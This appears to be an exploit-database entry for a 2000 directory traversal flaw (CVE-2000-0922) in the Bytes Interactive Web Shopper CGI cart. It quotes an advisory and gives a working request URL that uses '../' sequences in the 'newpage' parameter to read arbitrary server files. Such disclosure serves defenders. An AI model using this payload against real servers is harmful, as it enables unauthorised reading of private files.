Bytes interactive Web shopper 1.0/2.0 - Directory Traversal

Author: f0bic
type: remote
platform: cgi
port: 
date_added: 2000-10-08 
date_updated: 2016-11-25 
verified: 1 
codes: CVE-2000-0922;OSVDB-432 
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source: https://www.securityfocus.com/bid/1776/info

Bytes Interactive Web Shopper is a XML based shopping cart application.

The "newpage" variable does not properly check for insecure relative paths such as the double dot "..".

The following URL request:

http://target/cgi-bin/shopper.cgi?newpage=../../../path/filename.ext

will yield the file specified.

Successful exploitation could lead to a remote intruder gaining read access to any known file.